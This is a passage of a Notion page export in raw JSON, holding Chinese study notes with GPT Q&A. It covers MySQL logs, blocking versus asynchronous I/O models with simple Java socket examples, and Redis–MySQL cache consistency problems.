Log):二进制日志是MySQL服务器层实现的一种日志,记录了所有修改数据的SQL语句。主要用于实现MySQL的复制功能(将主服务器上的数据复制到从服务器),以及数据的恢复。需要注意的是,二进制日志和InnoDB的重做日志不同,二进制日志记录的是SQL语句级别的修改,而重做日志记录的是数据页级别的修改。"]]},"created_time":1712593608008,"last_edited_time":1712593608012,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ce613549-c399-42e2-b6f4-d40fc9f1c3a7":{"value":{"id":"ce613549-c399-42e2-b6f4-d40fc9f1c3a7","type":"text","properties":{"title":[["这三种日志都是为了实现ACID(原子性、一致性、隔离性、持久性)事务特性,以及数据库的高可用性和数据的恢复。"]]},"created_time":1712593608009,"last_edited_time":1712593608012,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9955cfbd-4850-4ce7-a7bd-fc8299fd0619":{"value":{"id":"9955cfbd-4850-4ce7-a7bd-fc8299fd0619","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"d8e91a74-f393-4541-85de-b0d9994b8590","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556413057,"last_edited_time":1712556558148,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"d8e91a74-f393-4541-85de-b0d9994b8590"}},"98717c97-3877-4265-a90b-b0e54c956b95":{"value":{"id":"98717c97-3877-4265-a90b-b0e54c956b95","type":"bulleted_list","properties":{"title":[["acid和4个隔离级别都是老生常谈问题"]]},"format":{"copied_from_pointer":{"id":"1dfb1717-e797-4dfa-8bc8-7576babf8a4c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556413057,"last_edited_time":1712593667561,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"1dfb1717-e797-4dfa-8bc8-7576babf8a4c"}},"00e0f457-b594-4314-a725-5cf0eb171fb1":{"value":{"id":"00e0f457-b594-4314-a725-5cf0eb171fb1","type":"bulleted_list","properties":{"title":[["当前对于MVCC底层和XS行表锁,gap,next-key,意向锁不是很清楚,极客时间的mysql45讲再深入研究"]]},"created_time":1712593669146,"last_edited_time":1712593756778,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"12d42d70-85cd-410d-a2a3-28ab6f8591ae":{"value":{"id":"12d42d70-85cd-410d-a2a3-28ab6f8591ae","type":"sub_header","properties":{"title":[["8.操作系统中的阻塞异步BIONIOAIO"]]},"created_time":1712556452413,"last_edited_time":1712556725001,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"471e2e8b-2905-49ef-8eec-0c69adf417c2":{"value":{"id":"471e2e8b-2905-49ef-8eec-0c69adf417c2","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"427d4469-ee94-49f4-9583-fe087a99d192","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556454775,"last_edited_time":1712556454777,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"427d4469-ee94-49f4-9583-fe087a99d192"}},"6800a277-744f-47b6-bbce-80d55edef89e":{"value":{"id":"6800a277-744f-47b6-bbce-80d55edef89e","type":"quote","properties":{"title":[["操作系统中的阻塞,非阻塞,异步,同步,BIO,NIO,AIO,给我解释下"]]},"format":{"copied_from_pointer":{"id":"1becf461-3302-494a-8f73-dfc596c59193","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556454775,"last_edited_time":1712593823236,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"1becf461-3302-494a-8f73-dfc596c59193"}},"e0eeec95-ae50-49ff-b8fc-2e1d99a1ee82":{"value":{"id":"e0eeec95-ae50-49ff-b8fc-2e1d99a1ee82","type":"text","properties":{"title":[["这些术语都是用来描述输入/输出 (I/O) 模型的,下面是每个术语的简单解释:"]]},"created_time":1712594035850,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"41779ac5-4ab7-44ff-9ec1-ec0e552b26b8":{"value":{"id":"41779ac5-4ab7-44ff-9ec1-ec0e552b26b8","type":"numbered_list","properties":{"title":[["阻塞(Blocking):阻塞调用是指调用结果返回之前,当前线程会被挂起。调用线程只有在得到结果之后才会返回。"]]},"created_time":1712594035850,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"44b4e904-beda-48d7-adbd-9fd5c07c9a45":{"value":{"id":"44b4e904-beda-48d7-adbd-9fd5c07c9a45","type":"numbered_list","properties":{"title":[["非阻塞(Non-blocking):非阻塞调用指在不能立刻得到结果之前,该调用不会阻塞当前线程。"]]},"created_time":1712594035850,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3719e695-ca2a-46c6-8581-ccddf01dd42a":{"value":{"id":"3719e695-ca2a-46c6-8581-ccddf01dd42a","type":"numbered_list","properties":{"title":[["同步(Synchronous):同步意味着在一个操作完成之前,请求者必须等待。无论操作是阻塞的还是非阻塞的,只要是同步的,那么请求者都需要等待操作的完成。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f5748415-9a54-4ec1-a39e-70b07c43a2d3":{"value":{"id":"f5748415-9a54-4ec1-a39e-70b07c43a2d3","type":"numbered_list","properties":{"title":[["异步(Asynchronous):异步意味着请求者在发出请求后就可以进行其他操作,不需要等待操作的完成。当操作完成时,通常会通过回调(callback),事件,通知等机制来通知请求者。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a3d78ec6-0f34-4e65-ac1c-8991f373c006":{"value":{"id":"a3d78ec6-0f34-4e65-ac1c-8991f373c006","type":"numbered_list","properties":{"title":[["BIO(Blocking I/O):这是一个阻塞的同步I/O模型。在这个模型中,当一个I/O操作在进行时,调用者必须等待其完成。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d6e00fa4-d290-4908-8a5b-1e44bdcedb9a":{"value":{"id":"d6e00fa4-d290-4908-8a5b-1e44bdcedb9a","type":"numbered_list","properties":{"title":[["NIO(Non-blocking I/O):这是一个非阻塞的同步I/O模型。在这个模型中,调用者可以在I/O操作完成前进行其他任务,但仍需要定期检查I/O操作是否完成。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"90930151-7c67-4de3-9c46-793dc08f662f":{"value":{"id":"90930151-7c67-4de3-9c46-793dc08f662f","type":"numbered_list","properties":{"title":[["AIO(Asynchronous I/O):这是一个非阻塞的异步I/O模型。在这个模型中,调用者完全不需要关心I/O操作,当操作完成时,系统会自动通知调用者。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"82c86df4-4397-4f8d-bf29-0e191a49b912":{"value":{"id":"82c86df4-4397-4f8d-bf29-0e191a49b912","type":"text","properties":{"title":[["在理解这些术语的时候,要注意阻塞/非阻塞和同步/异步之间的区别。阻塞/非阻塞描述的是程序在等待调用结果(可能是I/O操作)时的状态,而同步/异步描述的是程序在发出调用请求后的行为。"]]},"created_time":1712594035851,"last_edited_time":1712594035856,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e3648d0a-8f62-4525-828a-aa38ab6bea3f":{"value":{"id":"e3648d0a-8f62-4525-828a-aa38ab6bea3f","type":"divider","format":{"copied_from_pointer":{"id":"b56e8256-87ec-40bd-b09f-cdb1d402ce53","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556454775,"last_edited_time":1712556454777,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"b56e8256-87ec-40bd-b09f-cdb1d402ce53"}},"ad8f091b-438c-481b-bd2a-46c00310d6af":{"value":{"id":"ad8f091b-438c-481b-bd2a-46c00310d6af","type":"text","format":{"copied_from_pointer":{"id":"9955cfbd-4850-4ce7-a7bd-fc8299fd0619","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712594043572,"last_edited_time":1712594043572,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d746ed99-61e4-42cf-8832-80680a2f5988":{"value":{"id":"d746ed99-61e4-42cf-8832-80680a2f5988","type":"quote","properties":{"title":[["3大io模型就是对于是否阻塞和的是否同步的具体实践。给我写出3大io模型的java例子。"]]},"created_time":1712594045318,"last_edited_time":1712594108285,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c92967e3-ab81-4ce6-9c75-678738bbc7d1":{"value":{"id":"c92967e3-ab81-4ce6-9c75-678738bbc7d1","type":"text","properties":{"title":[["好的,以下是针对 Java 的 BIO, NIO和 AIO 的简单示例。"]]},"created_time":1712594265695,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7a15eca8-ddf4-44bb-aec6-e5ab1bdd99c5":{"value":{"id":"7a15eca8-ddf4-44bb-aec6-e5ab1bdd99c5","type":"numbered_list","properties":{"title":[["BIO (Blocking I/O)",[["b"]]]]},"created_time":1712594265695,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"faf949fd-61b3-4c5a-8ef0-03d42cd909cf":{"value":{"id":"faf949fd-61b3-4c5a-8ef0-03d42cd909cf","type":"code","properties":{"title":[["// Server example\nServerSocket serverSocket = new ServerSocket(8888);\nwhile (true) {\n Socket socket = serverSocket.accept(); // blocked until a connection is made\n DataInputStream in = new DataInputStream(socket.getInputStream());\n System.out.println(in.readUTF()); // blocked until all bytes are read\n socket.close();\n}\n\n// Client example\nSocket socket = new Socket(\"localhost\", 8888);\nDataOutputStream out = new DataOutputStream(socket.getOutputStream());\nout.writeUTF(\"Hello Server\"); // blocked until all bytes are written\nsocket.close();\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712594265695,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"907eaab2-2a8e-405e-b92c-9383795fd26c":{"value":{"id":"907eaab2-2a8e-405e-b92c-9383795fd26c","type":"numbered_list","properties":{"title":[["NIO (Non-blocking I/O)",[["b"]]]]},"created_time":1712594265695,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5a5537cd-512e-47f6-803e-33c3e1869b71":{"value":{"id":"5a5537cd-512e-47f6-803e-33c3e1869b71","type":"code","properties":{"title":[["// Server example\nServerSocketChannel serverSocketChannel = ServerSocketChannel.open();\nserverSocketChannel.socket().bind(new InetSocketAddress(8888));\nserverSocketChannel.configureBlocking(false); // non-blocking mode\nwhile (true) {\n SocketChannel socketChannel = serverSocketChannel.accept();\n if (socketChannel != null) {\n // do something with socketChannel...\n }\n}\n\n// Client example\nSocketChannel socketChannel = SocketChannel.open();\nsocketChannel.configureBlocking(false); // non-blocking mode\nsocketChannel.connect(new InetSocketAddress(\"localhost\", 8888));\nwhile (!socketChannel.finishConnect()) {\n // do something else...\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712594265695,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5912ce03-87b1-4532-9eca-1ec30c4f8a45":{"value":{"id":"5912ce03-87b1-4532-9eca-1ec30c4f8a45","type":"numbered_list","properties":{"title":[["AIO (Asynchronous I/O)",[["b"]]]]},"created_time":1712594265696,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"27026dfd-1bfc-4a90-8a52-072ab21ec7af":{"value":{"id":"27026dfd-1bfc-4a90-8a52-072ab21ec7af","type":"code","properties":{"title":[["// Server example\nAsynchronousServerSocketChannel serverSocketChannel = AsynchronousServerSocketChannel.open().bind(new InetSocketAddress(8888));\nserverSocketChannel.accept(null, new CompletionHandler() {\n public void completed(AsynchronousSocketChannel socketChannel, Void attachment) {\n // do something with socketChannel...\n serverSocketChannel.accept(null, this); // accept the next connection\n }\n\n public void failed(Throwable throwable, Void attachment) {\n throwable.printStackTrace();\n }\n});\n\n// Client example\nAsynchronousSocketChannel socketChannel = AsynchronousSocketChannel.open();\nsocketChannel.connect(new InetSocketAddress(\"localhost\", 8888), null, new CompletionHandler() {\n public void completed(Void result, Void attachment) {\n // do something on successful connection...\n }\n\n public void failed(Throwable throwable, Void attachment) {\n throwable.printStackTrace();\n }\n});\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712594265696,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9265e4e3-9a53-4787-a6bb-704190f54122":{"value":{"id":"9265e4e3-9a53-4787-a6bb-704190f54122","type":"text","properties":{"title":[["以上代码仅供示例,可能还需要进一步的错误处理和资源管理。"]]},"created_time":1712594265696,"last_edited_time":1712594265700,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"00d4479f-81cb-48af-bc7f-89e84970d19e":{"value":{"id":"00d4479f-81cb-48af-bc7f-89e84970d19e","type":"divider","created_time":1712594270884,"last_edited_time":1712594270885,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"501d0801-cbe6-436a-a070-a3135f667555":{"value":{"id":"501d0801-cbe6-436a-a070-a3135f667555","type":"text","created_time":1712594271246,"last_edited_time":1712594271246,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"cadb7d65-b3f4-4cde-9067-b0d7692ff1c1":{"value":{"id":"cadb7d65-b3f4-4cde-9067-b0d7692ff1c1","type":"quote","properties":{"title":[["再给我写一个异步阻塞的例子"]]},"created_time":1712594272593,"last_edited_time":1712594279585,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"746610d1-41b6-4b75-8059-42feabb87562":{"value":{"id":"746610d1-41b6-4b75-8059-42feabb87562","type":"text","properties":{"title":[["在 Java 中,异步阻塞这个概念并不常见,因为异步通常都意味着非阻塞。但是可以通过使用 Future 来模拟异步阻塞的行为。具体来说,我们可以启动一个新的线程来执行任务(异步),然后在主线程中调用 Future.get() 方法来等待结果(阻塞)。下面是一个简单的示例:"]]},"created_time":1712594295277,"last_edited_time":1712594295281,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"27a5e7b0-8bb8-4e48-b340-cc5e400cd3ac":{"value":{"id":"27a5e7b0-8bb8-4e48-b340-cc5e400cd3ac","type":"code","properties":{"title":[["import java.util.concurrent.*;\n\npublic class AsyncBlockingExample {\n public static void main(String[] args) throws ExecutionException, InterruptedException {\n ExecutorService executorService = Executors.newSingleThreadExecutor();\n\n Future future = executorService.submit(() -> {\n // Simulate long running task\n try {\n Thread.sleep(2000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n return \"Hello, World!\";\n });\n\n // Do something else here...\n\n // Wait for the task to finish (block)\n String result = future.get();\n\n System.out.println(result);\n\n executorService.shutdown();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712594295277,"last_edited_time":1712594295281,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6473a9c8-e013-486e-a3bb-1ed6e272948b":{"value":{"id":"6473a9c8-e013-486e-a3bb-1ed6e272948b","type":"text","properties":{"title":[["在这个例子中,我们首先创建一个 ExecutorService,它是一个可以管理多线程的服务。然后我们提交一个任务到 ExecutorService,这个任务在一个新的线程中异步执行。主线程继续执行其他任务,然后在需要结果的时候调用 Future.get() 方法来等待结果。如果在这个时候任务还没有完成,那么 Future.get() 方法会阻塞,直到任务完成为止。"]]},"created_time":1712594295277,"last_edited_time":1712594295281,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"36015b95-8686-4982-a7fa-575f3f5b5f4d":{"value":{"id":"36015b95-8686-4982-a7fa-575f3f5b5f4d","type":"divider","created_time":1712594332584,"last_edited_time":1712594332586,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ceaf9c24-c2c8-4f8d-9f98-c975b6a7ad76":{"value":{"id":"ceaf9c24-c2c8-4f8d-9f98-c975b6a7ad76","type":"text","created_time":1712594918567,"last_edited_time":1712594918567,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"98c6e6a3-290d-47f1-94f5-f79afdedc1bd":{"value":{"id":"98c6e6a3-290d-47f1-94f5-f79afdedc1bd","type":"quote","properties":{"title":[["再用烧水后喝水给我解释BIO,NIO,AIO。异步阻塞一起解释"]]},"created_time":1712594926392,"last_edited_time":1712594929427,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a302cb8a-aab9-4b4a-81a3-4f804903b6a7":{"value":{"id":"a302cb8a-aab9-4b4a-81a3-4f804903b6a7","type":"text","properties":{"title":[["好的,我们可以把烧水喝水的过程类比为 I/O 操作。"]]},"created_time":1712594936322,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5030f909-9491-4faa-bf03-43aa0377e2ca":{"value":{"id":"5030f909-9491-4faa-bf03-43aa0377e2ca","type":"numbered_list","properties":{"title":[["BIO(Blocking I/O)",[["b"]]],[":你把水壶放在炉子上,然后就站在那里,什么也不做,直到水烧开。这就是阻塞,你正在等待 I/O 操作(烧水)的完成。这就像是你在等待一个网络请求的响应,直到它完成,你才能继续。"]]},"created_time":1712594936322,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7b8f8ee3-c184-470b-b5ac-994dc7b08117":{"value":{"id":"7b8f8ee3-c184-470b-b5ac-994dc7b08117","type":"numbered_list","properties":{"title":[["NIO(Non-blocking I/O)",[["b"]]],[":你把水壶放在炉子上,然后你去做其他事情(比如读书)。但是每过一段时间你都得回来检查一下水是否烧开。这就是非阻塞,你并没有阻塞在 I/O 操作上,而是在等待 I/O 操作时做其他事情。但是你需要不断地检查 I/O 操作是否完成。"]]},"created_time":1712594936322,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"dfb96d40-f9a5-42fd-bf6c-97ae0f410899":{"value":{"id":"dfb96d40-f9a5-42fd-bf6c-97ae0f410899","type":"numbered_list","properties":{"title":[["AIO(Asynchronous I/O)",[["b"]]],[":你把水壶放在炉子上,然后你去做其他事情。你的水壶很聪明,当水烧开的时候,它会响铃通知你。这就是异步,你不需要去检查 I/O 操作是否完成,因为当它完成的时候,你会得到通知。"]]},"created_time":1712594936323,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"854248e3-f012-4f56-bce7-4ecc81887fe0":{"value":{"id":"854248e3-f012-4f56-bce7-4ecc81887fe0","type":"numbered_list","properties":{"title":[["异步阻塞",[["b"]]],[":这个概念在实际中并不常见,但是为了解释,我们可以这样想象:你把水壶放在炉子上,然后你去做其他事情。你的水壶很聪明,当水烧开的时候,它会响铃通知你。但是你在做其他事情的时候,每完成一项任务,你都会去看看水壶是否响铃。这就是异步阻塞,你在等待 I/O 操作的同时做其他事情,但是你要不断地检查是否有通知。"]]},"created_time":1712594936323,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"723782b0-b99f-4268-bf5d-4a80838aa0cb":{"value":{"id":"723782b0-b99f-4268-bf5d-4a80838aa0cb","type":"text","properties":{"title":[["以上就是 BIO,NIO,AIO 以及异步阻塞的解释。希望这个类比可以帮助你理解这些概念。"]]},"created_time":1712594936323,"last_edited_time":1712594936327,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"93798a96-651f-4c53-8e4f-fe95eb18029b":{"value":{"id":"93798a96-651f-4c53-8e4f-fe95eb18029b","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"9955cfbd-4850-4ce7-a7bd-fc8299fd0619","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556454775,"last_edited_time":1712556560502,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"9955cfbd-4850-4ce7-a7bd-fc8299fd0619"}},"dc0bcb1b-b278-48e8-bf28-546af8288389":{"value":{"id":"dc0bcb1b-b278-48e8-bf28-546af8288389","type":"bulleted_list","properties":{"title":[["基本上理解异步阻塞的例子,就差不多了"]]},"format":{"copied_from_pointer":{"id":"98717c97-3877-4265-a90b-b0e54c956b95","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556454775,"last_edited_time":1712594317204,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"98717c97-3877-4265-a90b-b0e54c956b95"}},"9608e593-f9b8-484c-be6e-0a8d0fd9fca6":{"value":{"id":"9608e593-f9b8-484c-be6e-0a8d0fd9fca6","type":"bulleted_list","properties":{"title":[["阻塞就意味着等待"]]},"created_time":1712594620920,"last_edited_time":1712594914908,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"26792acc-7d13-438c-ad28-f82c7af4efbc":{"value":{"id":"26792acc-7d13-438c-ad28-f82c7af4efbc","type":"text","created_time":1712556452523,"last_edited_time":1712556452523,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9c2f6448-3dfd-4228-a8c0-48f5799b2cf4":{"value":{"id":"9c2f6448-3dfd-4228-a8c0-48f5799b2cf4","type":"sub_header","properties":{"title":[["9.Redis跟MySQL缓存一致性"]]},"created_time":1712556311416,"last_edited_time":1712556728168,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"55c4dd0a-8dea-4699-ae95-926bd9cab471":{"value":{"id":"55c4dd0a-8dea-4699-ae95-926bd9cab471","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"471e2e8b-2905-49ef-8eec-0c69adf417c2","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556494579,"last_edited_time":1712556494582,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"471e2e8b-2905-49ef-8eec-0c69adf417c2"}},"91e31a11-07f1-4df3-9c0c-d32bcf7227cc":{"value":{"id":"91e31a11-07f1-4df3-9c0c-d32bcf7227cc","type":"quote","properties":{"title":[["Redis跟MySQL缓存一致性问题,目前业界常用的方案是哪些"]]},"format":{"copied_from_pointer":{"id":"6800a277-744f-47b6-bbce-80d55edef89e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556494579,"last_edited_time":1712595489277,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"6800a277-744f-47b6-bbce-80d55edef89e"}},"33bc32d8-ea4c-4041-b237-c150724db36e":{"value":{"id":"33bc32d8-ea4c-4041-b237-c150724db36e","type":"text","properties":{"title":[["在构建高并发、高性能的互联网应用时,缓存是不可或缺的一部分。然而,引入缓存后,缓存与数据库的数据一致性问题就会出现。Redis 作为一种非常流行的缓存解决方案,同 MySQL 数据库的一致性问题也是业界面临的重要挑战。"]]},"created_time":1712595494935,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6fb2fd9b-2595-45d7-9e41-9108999e4d99":{"value":{"id":"6fb2fd9b-2595-45d7-9e41-9108999e4d99","type":"text","properties":{"title":[["以下是一些常见的解决方案:"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"8e19783b-6a0c-46db-b3c1-1b62c6c39ca3":{"value":{"id":"8e19783b-6a0c-46db-b3c1-1b62c6c39ca3","type":"text","properties":{"title":[["1. 缓存穿透:",[["b"]]]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b620e8b7-858f-4362-87fa-f2f8c933c7a4":{"value":{"id":"b620e8b7-858f-4362-87fa-f2f8c933c7a4","type":"text","properties":{"title":[["缓存穿透是指查询一个数据库中不存在的数据,结果缓存没有命中,然后去数据库查询,数据库也没有,这样就形成了缓存穿透。解决方案是对于查找的字段做一个空值的缓存。这样即使数据库没有,缓存也会命中,从而避免了对数据库的查询。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"53fee745-cd9b-49f6-8be3-32cd08204a0d":{"value":{"id":"53fee745-cd9b-49f6-8be3-32cd08204a0d","type":"text","properties":{"title":[["2. 缓存击穿:",[["b"]]]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ae2842c8-73d8-40d2-b348-a7af2d76b055":{"value":{"id":"ae2842c8-73d8-40d2-b348-a7af2d76b055","type":"text","properties":{"title":[["缓存击穿是指访问一个热点数据,当该数据过期的瞬间,大量的请求就会穿破缓存,直接请求数据库,造成数据库的压力。解决方案是设置热点数据永不过期,或者在代码层面,使用互斥锁或者分布式锁,保证缓存的单线程(进程)写,避免大量并发线程对数据库进行访问。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"966d6414-add4-49e7-9c3d-468832755819":{"value":{"id":"966d6414-add4-49e7-9c3d-468832755819","type":"text","properties":{"title":[["3. 缓存雪崩:",[["b"]]]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"fdaebb18-427d-4fb8-99ad-619b164b58df":{"value":{"id":"fdaebb18-427d-4fb8-99ad-619b164b58df","type":"text","properties":{"title":[["缓存雪崩是指缓存中大量的数据同时过期,导致大量的请求直接打到数据库,从而导致数据库压力过大。解决方案是对缓存的过期时间进行随机,避免同一时间大量的数据过期,请求打到数据库。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f96465f5-7a8b-4d1c-9bb0-74b535a1b628":{"value":{"id":"f96465f5-7a8b-4d1c-9bb0-74b535a1b628","type":"text","properties":{"title":[["4. 读写一致性:",[["b"]]]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"71edb051-4fb4-462d-8532-c2a3ffffcfb5":{"value":{"id":"71edb051-4fb4-462d-8532-c2a3ffffcfb5","type":"text","properties":{"title":[["这是比较常见的一种场景,即读取数据后,立即写入缓存。但是,如果写入缓存失败,会导致下次读取的时候,读到的是旧数据。解决方案是使用\"先删除缓存,再更新数据库\"的原则。"]]},"created_time":1712595494936,"last_edited_time":1712595494942,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d6974531-d3b3-4cfd-9198-b8454fb2c249":{"value":{"id":"d6974531-d3b3-4cfd-9198-b8454fb2c249","type":"text","properties":{"title":[["5. 